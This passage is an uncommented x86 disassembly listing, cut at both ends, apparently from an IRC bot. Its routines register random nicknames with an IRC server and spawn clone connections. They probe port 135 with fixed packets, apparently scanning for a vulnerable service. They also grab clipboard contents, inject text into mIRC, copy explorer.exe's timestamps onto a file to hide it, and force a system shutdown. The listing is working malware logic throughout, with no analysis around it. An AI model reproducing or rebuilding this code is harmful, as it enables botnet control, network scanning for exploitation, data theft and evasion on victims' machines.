eax, eax pop ecx jnz short loc_417DBB loc_417D63: ; CODE XREF: sub_417CCD+83j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41BC00 lea eax, [ebp+var_420] push eax call sub_417FDF lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_43B7A8 push eax call sub_41BEF6 add esp, 1Ch loc_417D9C: ; CODE XREF: sub_417CCD+73j lea eax, [ebp+var_220] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CE358 ; send loc_417DBB: ; CODE XREF: sub_417CCD+94j xor eax, eax loc_417DBD: ; CODE XREF: sub_417CCD+46j pop edi pop esi pop ebx leave retn sub_417CCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC2 proc near ; DATA XREF: sub_417F61+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C190 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h xor edi, edi push dword_4D7564[esi] lea eax, dword_4D7364[esi] inc edi push eax mov dword_4D7358[esi], edi call sub_416187 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D735C[esi], eax jb loc_417F41 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BC00 lea eax, [ebp+var_2008] push eax call sub_417FDF lea eax, [ebp+var_4008] push eax call sub_417FDF lea eax, [ebp+var_3008] push eax call sub_417FDF lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41BEF6 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D735C[esi] call dword_4CE358 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BC00 add esp, 0Ch loc_417E9B: ; CODE XREF: sub_417DC2+17Aj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D735C[esi] call dword_4CE320 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417F41 xor eax, eax cmp [ebp+var_8], ebx jmp short loc_417F37 ; --------------------------------------------------------------------------- loc_417ECF: ; CODE XREF: sub_417DC2+178j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417EF6 cmp al, 0Ah jz short loc_417EF6 cmp [ebp+arg_0], 0FA0h jz short loc_417EF6 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417F30 ; --------------------------------------------------------------------------- loc_417EF6: ; CODE XREF: sub_417DC2+116j ; sub_417DC2+11Aj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417F30 push dword_4D735C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417CCD pop ecx test eax, eax pop ecx ja short loc_417F41 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BC00 add esp, 0Ch mov [ebp+arg_0], ebx loc_417F30: ; CODE XREF: sub_417DC2+132j ; sub_417DC2+139j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_417F37: ; CODE XREF: sub_417DC2+10Bj mov [ebp+var_4], eax jnz short loc_417ECF jmp loc_417E9B ; --------------------------------------------------------------------------- loc_417F41: ; CODE XREF: sub_417DC2+40j ; sub_417DC2+104j ... mov dword_4D7358[esi], ebx mov esi, dword_4D735C[esi] cmp esi, ebx jbe short loc_417F58 push esi call dword_4CE3A0 ; closesocket loc_417F58: ; CODE XREF: sub_417DC2+18Dj pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417DC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F61 proc near ; CODE XREF: sub_401AA1+31AEp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417FDA loc_417F73: ; CODE XREF: sub_417F61+77j xor edi, edi mov eax, offset dword_4D7358 loc_417F7A: ; CODE XREF: sub_417F61+28j cmp [eax], ebx jz short loc_417F8B add eax, 210h inc edi cmp eax, offset dword_4DDA78 jl short loc_417F7A loc_417F8B: ; CODE XREF: sub_417F61+1Bj cmp edi, 31h jz short loc_417FDA mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D7364[esi] push eax call sub_41C520 mov eax, [ebp+arg_4] pop ecx mov dword_4D7564[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D7358[esi], 1 push eax push ebx push edi push offset sub_417DC2 push ebx push ebx call dword_428084 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417F73 loc_417FDA: ; CODE XREF: sub_417F61+10j ; sub_417F61+2Dj pop edi pop esi pop ebx leave retn sub_417F61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FDF proc near ; CODE XREF: sub_401AA1+36F7p ; sub_401AA1+373Ep ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BC00 add esp, 0Ch call sub_41BF52 mov [ebp+var_4], eax fild [ebp+var_4] fmul dbl_4286E0 call sub_41CE04 cmp eax, 1 jnz short loc_418029 call sub_41BF52 call sub_41BF52 push 66h cdq pop ecx idiv ecx push off_43AEF8[edx*4] jmp short loc_418042 ; --------------------------------------------------------------------------- loc_418029: ; CODE XREF: sub_417FDF+2Fj call sub_41BF52 call sub_41BF52 cdq mov ecx, 0C0h idiv ecx push off_43ABF8[edx*4] loc_418042: ; CODE XREF: sub_417FDF+48j lea eax, [ebp+var_2C] push eax call sub_41C520 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B650 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax call sub_41BF52 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_4286D8 call sub_41CE04 mov ebx, eax call sub_41BF52 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul dbl_4286D0 call sub_41CE04 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_4180B5 cmp esi, 3 jnz short loc_4180AC cmp ebx, 1 jz short loc_4180B5 loc_4180AC: ; CODE XREF: sub_417FDF+C6j cmp eax, 1 jnz loc_41816E loc_4180B5: ; CODE XREF: sub_417FDF+C1j ; sub_417FDF+CBj call sub_41BF52 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_4286C8 call sub_41CE04 push off_43AEF8[eax*4] lea eax, [ebp+var_40] push eax call sub_41C520 lea ebx, [ebp+esi+var_2C] movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C620 add esp, 10h test eax, eax jnz short loc_41815B movsx eax, [ebp+var_40] push eax push edi call sub_41C620 pop ecx test eax, eax pop ecx jnz short loc_41815B call sub_41BF52 mov dword ptr [ebp+var_10+4], eax dec esi fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], esi fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul dbl_4286D0 call sub_41CE04 cmp eax, 1 jnz short loc_41815B push edi call sub_41B650 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild [ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_41BF52 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul dbl_4286D0 call sub_41CE04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_41815B: ; CODE XREF: sub_417FDF+110j ; sub_417FDF+121j ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C850 add esp, 0Ch loc_41816E: ; CODE XREF: sub_417FDF+D0j lea eax, [ebp+var_2C] push eax call sub_41B650 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_41DCE8 pop ecx test eax, eax pop ecx jnz loc_4183C5 movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_41C620 pop ecx test eax, eax pop ecx jnz loc_4182C7 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4286D0 call sub_41CE04 cmp esi, 3 jz short loc_4181D8 cmp eax, 1 jnz loc_4182C7 loc_4181D8: ; CODE XREF: sub_417FDF+1EEj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_41821C push edi call sub_41B650 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_4286D0 call sub_41CE04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41823A ; --------------------------------------------------------------------------- loc_41821C: ; CODE XREF: sub_417FDF+202j call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C0 call sub_41CE04 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41823A: ; CODE XREF: sub_417FDF+23Bj inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286B8 call sub_41CE04 cmp esi, 3 jz short loc_418260 cmp eax, ebx jnz short loc_4182C7 loc_418260: ; CODE XREF: sub_417FDF+27Bj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4182A5 push edi call sub_41B650 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_4286D0 call sub_41CE04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_4182C3 ; --------------------------------------------------------------------------- loc_4182A5: ; CODE XREF: sub_417FDF+28Bj call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C0 call sub_41CE04 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_4182C3: ; CODE XREF: sub_417FDF+2C4j inc esi mov [ebp+var_4], esi loc_4182C7: ; CODE XREF: sub_417FDF+1C4j ; sub_417FDF+1F3j ... cmp esi, 6 jge short loc_418347 call sub_41BF52 cmp esi, 5 jge short loc_4182E4 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286D8 jmp short loc_4182FD ; --------------------------------------------------------------------------- loc_4182E4: ; CODE XREF: sub_417FDF+2F5j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4286D0 loc_4182FD: ; CODE XREF: sub_417FDF+303j call sub_41CE04 test eax, eax jnz short loc_418320 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286B0 call sub_41CE04 mov cl, 30h jmp short loc_41833D ; --------------------------------------------------------------------------- loc_418320: ; CODE XREF: sub_417FDF+325j cmp eax, 1 jnz short loc_418347 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C0 call sub_41CE04 mov cl, 41h loc_41833D: ; CODE XREF: sub_417FDF+33Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_418347: ; CODE XREF: sub_417FDF+2EBj ; sub_417FDF+344j cmp ebx, 2 jge short loc_4183C5 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4286D0 call sub_41CE04 cmp eax, 1 jnz short loc_4183C5 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286B0 call sub_41CE04 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286A8 call sub_41CE04 cmp eax, 1 jnz short loc_4183C5 cmp ebx, eax jge short loc_4183C5 call sub_41BF52 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286A0 call sub_41CE04 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_4183C5: ; CODE XREF: sub_417FDF+1ACj ; sub_417FDF+36Bj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BC60 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417FDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183DE proc near ; CODE XREF: sub_418416+125p ; sub_418416+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_41840C loc_4183EF: ; CODE XREF: sub_4183DE+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DD40 add esp, 0Ch test eax, eax jz short loc_418412 inc esi cmp esi, edi jl short loc_4183EF loc_41840C: ; CODE XREF: sub_4183DE+Fj xor al, al loc_41840E: ; CODE XREF: sub_4183DE+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_418412: ; CODE XREF: sub_4183DE+27j mov al, 1 jmp short loc_41840E sub_4183DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418416 proc near ; CODE XREF: .XPack0:0040DEC7p ; .XPack0:0040DFB3p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C190 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_418457 dec eax jz short loc_418435 dec eax loc_41842F: ; CODE XREF: sub_418416+57j xor eax, eax loc_418431: ; CODE XREF: sub_418416+3Fj ; sub_418416+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_418435: ; CODE XREF: sub_418416+16j push 3 push 1388h push [ebp+arg_0] call dword_4CE348 ; inet_addr push eax call sub_40C1D4 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418431 ; --------------------------------------------------------------------------- loc_418457: ; CODE XREF: sub_418416+13j push 6 push 1 push 2 call dword_4CE388 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_41842F push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CE308 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A7C5 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CE2B0 ; connect cmp eax, edi jz loc_418573 push ebx push 48h push offset dword_43B800 push esi call dword_4CE358 ; send cmp eax, edi jz loc_418573 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CE320 ; recv cmp eax, edi jz loc_418573 cmp [ebp+var_200E], 0Ch jnz short loc_418573 push ebx push 18h push offset dword_43B84C push [ebp+arg_4] call dword_4CE358 ; send cmp eax, edi jz short loc_418573 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CE320 ; recv mov esi, eax cmp esi, edi jz short loc_418573 cmp [ebp+var_200E], 2 jnz short loc_418573 push 10h push offset loc_43B868 lea eax, [ebp+var_2010] push esi push eax call sub_4183DE add esp, 10h test al, al jz short loc_418553 cmp esi, 12Ch setnl bl inc ebx jmp short loc_418573 ; --------------------------------------------------------------------------- loc_418553: ; CODE XREF: sub_418416+12Fj push 10h push offset dword_43B87C lea eax, [ebp+var_2010] push esi push eax call sub_4183DE add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_418573: ; CODE XREF: sub_418416+9Bj ; sub_418416+B2j ... push [ebp+arg_4] call dword_4CE3A0 ; closesocket mov eax, ebx pop ebx jmp loc_418431 sub_418416 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418584 proc near ; CODE XREF: sub_401AA1+B93p ; sub_401AA1+BCDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_41860F mov eax, [ebp+arg_4] cmp eax, esi jz short loc_41860F cmp [ebp+arg_8], esi jz short loc_41860F cmp byte ptr [eax], 0 jz short loc_41860F push ebx push edi call sub_426B09 mov ebx, eax pop ecx test ebx, ebx jz short loc_41860A push [ebp+arg_4] push edi call sub_41BF70 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418603 sub eax, edi push eax push edi push ebx call sub_41BC60 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B650 push eax push [ebp+arg_8] push ebx call sub_41C850 push [ebp+arg_4] call sub_41B650 add eax, esi push eax push ebx call sub_41C530 push ebx push edi call sub_41C520 add esp, 30h mov esi, edi loc_418603: ; CODE XREF: sub_418584+3Cj push ebx call sub_41B721 pop ecx loc_41860A: ; CODE XREF: sub_418584+2Bj mov eax, esi pop ebx jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41860F: ; CODE XREF: sub_418584+Cj ; sub_418584+13j ... xor eax, eax loc_418611: ; CODE XREF: sub_418584+89j pop edi pop esi pop ebp retn sub_418584 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418615 proc near ; CODE XREF: sub_401925+E9p ; sub_410EAC+F4p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_41BC00 mov esi, [ebp+arg_0] push esi call sub_41B650 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_41864D or eax, 0FFFFFFFFh jmp short loc_4186B4 ; --------------------------------------------------------------------------- loc_41864D: ; CODE XREF: sub_418615+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_41866E loc_418659: ; CODE XREF: sub_418615+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_418666 cmp dl, 0Dh jnz short loc_418669 loc_418666: ; CODE XREF: sub_418615+4Aj mov [ecx+esi], bl loc_418669: ; CODE XREF: sub_418615+4Fj inc ecx cmp ecx, eax jl short loc_418659 loc_41866E: ; CODE XREF: sub_418615+42j xor edx, edx cmp eax, ebx jle short loc_418696 loc_418674: ; CODE XREF: sub_418615+7Fj cmp [edx+esi], bl jnz short loc_418691 lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_418691 cmp edi, 1F4h jge short loc_418696 mov [ebp+edi*4+var_7D0], ecx inc edi loc_418691: ; CODE XREF: sub_418615+62j ; sub_418615+6Aj inc edx cmp edx, eax jl short loc_418674 loc_418696: ; CODE XREF: sub_418615+5Dj ; sub_418615+72j cmp [ebp+arg_4], ebx jz short loc_4186B2 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call near ptr sub_41C9B0 add esp, 0Ch loc_4186B2: ; CODE XREF: sub_418615+84j mov eax, edi loc_4186B4: ; CODE XREF: sub_418615+36j pop edi pop esi pop ebx leave retn sub_418615 endp ; =============== S U B R O U T I N E ======================================= sub_4186B9 proc near ; CODE XREF: sub_418713+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4186F2 push ebx mov ebx, edi loc_4186D6: ; CODE XREF: sub_4186B9+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4186F5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_4186D6 pop ebx loc_4186F2: ; CODE XREF: sub_4186B9+18j pop edi pop esi retn sub_4186B9 endp ; =============== S U B R O U T I N E ======================================= sub_4186F5 proc near ; CODE XREF: sub_4186B9+25p ; sub_418713+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DDEC cmp al, 61h pop ecx jl short loc_418710 cmp al, 7Ah jg short loc_418710 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418710: ; CODE XREF: sub_4186F5+Ej ; sub_4186F5+12j xor eax, eax retn sub_4186F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418713 proc near ; CODE XREF: sub_416026+10p ; sub_416058+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C190 push ebx push esi push edi push [ebp+arg_0] call sub_41B650 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B650 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4186B9 add esp, 14h dec esi mov edi, esi jmp short loc_4187C5 ; --------------------------------------------------------------------------- loc_418753: ; CODE XREF: sub_418713+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DDEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DDEC pop ecx cmp eax, ebx pop ecx jz short loc_4187C3 loc_418775: ; CODE XREF: sub_418713+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4186F5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418796 mov eax, ecx loc_418796: ; CODE XREF: sub_418713+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_4187D3 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DDEC movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_41DDEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418775 loc_4187C3: ; CODE XREF: sub_418713+60j dec edi dec esi loc_4187C5: ; CODE XREF: sub_418713+3Ej test esi, esi jg short loc_418753 mov eax, [ebp+arg_0] add eax, edi loc_4187CE: ; CODE XREF: sub_418713+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4187D3: ; CODE XREF: sub_418713+88j xor eax, eax jmp short loc_4187CE sub_418713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187D7 proc near ; CODE XREF: sub_401AA1+669Ap ; sub_401AA1+765Dp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_428094 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_428168 ; FormatMessageA lea eax, [ebp+var_100] loc_418810: ; CODE XREF: sub_4187D7+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41881C cmp cl, 9 jnz short loc_41881F loc_41881C: ; CODE XREF: sub_4187D7+3Ej inc eax jmp short loc_418810 ; --------------------------------------------------------------------------- loc_41881F: ; CODE XREF: sub_4187D7+43j ; sub_4187D7+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418839 mov cl, [eax] cmp cl, 2Eh jz short loc_41881F cmp cl, 21h jl short loc_41881F loc_418839: ; CODE XREF: sub_4187D7+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DDA78 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41BFF0 add esp, 18h mov eax, esi pop esi leave retn sub_4187D7 endp ; =============== S U B R O U T I N E ======================================= sub_418861 proc near ; CODE XREF: sub_401AA1+2433p push esi push 0 call dword_4CE2D8 ; OpenClipboard test eax, eax jz short loc_418898 push 1 call dword_4CE2F8 ; GetClipboardData mov esi, eax test esi, esi jz short loc_418898 push edi push esi call dword_428170 ; GlobalLock push esi mov edi, eax call dword_42816C ; GlobalUnlock call dword_4CE35C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_418898: ; CODE XREF: sub_418861+Bj ; sub_418861+19j xor eax, eax pop esi retn sub_418861 endp ; =============== S U B R O U T I N E ======================================= sub_41889C proc near ; CODE XREF: sub_401AA1+7416p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CE314 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418918 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_42817C ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_428178 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41BEF6 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CE364 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CE364 ; SendMessageA push ebx call dword_428174 ; UnmapViewOfFile push edi call dword_428070 ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_41891A ; --------------------------------------------------------------------------- loc_418918: ; CODE XREF: sub_41889C+16j xor eax, eax loc_41891A: ; CODE XREF: sub_41889C+7Aj pop edi pop esi pop ebp retn sub_41889C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41891E proc near ; CODE XREF: sub_40121E+200p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CE3C0 ; SearchPathA test eax, eax jz short loc_4189BD mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4280F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4189BD lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_428184 ; GetFileTime push ebx mov ebx, dword_428070 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4189BD lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_428180 ; SetFileTime push esi call ebx ; CloseHandle loc_4189BD: ; CODE XREF: sub_41891E+2Aj ; sub_41891E+51j ... pop edi pop esi pop ebx leave retn sub_41891E endp ; =============== S U B R O U T I N E ======================================= sub_4189C2 proc near ; CODE XREF: sub_401AA1+163Cp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419CCF pop ecx pop ecx push 50005h push 6 call dword_4CE248 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4189C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189E4 proc near ; CODE XREF: sub_401AA1+26CFp ; sub_4169AB+45Fp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42A97C, esi push edi jz short loc_418A08 cmp dword_4CE3D4, esi jnz short loc_418A08 push esi call sub_401000 pop ecx loc_418A08: ; CODE XREF: sub_4189E4+13j ; sub_4189E4+1Bj call sub_40B417 lea eax, [ebp+var_764] push eax push 400h call dword_4280B8 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset 